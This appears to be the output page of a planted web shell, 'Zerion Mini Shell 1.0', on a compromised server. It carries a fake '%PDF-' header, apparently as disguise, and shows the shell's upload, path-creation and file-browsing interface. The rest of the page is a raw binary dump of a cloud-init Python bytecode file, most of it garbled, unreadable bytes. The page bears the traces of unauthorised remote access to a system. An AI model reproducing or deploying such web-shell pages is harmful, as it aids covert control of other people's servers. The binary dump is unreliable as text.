%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_update_hostname.cpython-312.pyc

�

���f��
��UdZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZdd	gegd
�Z
e
ed<eje�Zded
edededdf
d�Zy)z)Update Hostname: Update hostname and fqdn�N)�util)�Cloud)�Config)�
MetaSchema)�
PER_ALWAYS�cc_update_hostname�all)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc��tj|dd�rtjd|�ytj|dd�}|�|jjd|�tj|dd�}|�|jjd|�tj||�\}}}|r|dk(rtjd�y	tjj|jd�d	�}	tjd
||�|jj|||	�y#t$rtjtd||��wxYw)N�preserve_hostnameFzWConfiguration option 'preserve_hostname' is set, not updating the hostname in module %s�prefer_fqdn_over_hostname�create_hostname_file�	localhostz6Hostname is localhost. Let other services handle this.�datazprevious-hostnamezUpdating hostname to %s (%s)z(Failed to update the hostname to %s (%s))r�get_cfg_option_bool�LOG�debug�distro�
set_option�get_hostname_fqdn�os�path�join�	get_cpath�update_hostname�	Exception�logexc)
rrrr�
hostname_fqdnr�hostname�fqdn�
is_default�prev_fns
          �E/usr/lib/python3/dist-packages/cloudinit/config/cc_update_hostname.py�handler-sE������%8�%�@��	�	�
6��	
�
	��,�,��
(�$��M�� �
����� ;�]�K� �3�3��
#�T����'�
����� 6�8L�M�#'�#9�#9�#�u�#E� �X�t�Z��h�+�-��	�	�J�K����'�'�,�,�u���v�6�8K�L���	�	�0�$��A�
���$�$�X�t�W�=��������;�T�8�	
�	�	�s
�A#D5�5'E)�__doc__�loggingr �	cloudinitr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsrr�__annotations__�	getLogger�__name__r�str�listr-��r,�<module>r<sy��0��	��!�#�.�)���w��!�	��j���g����!��%��%�6�%�%�%�t�%��%r;

Zerion Mini Shell 1.0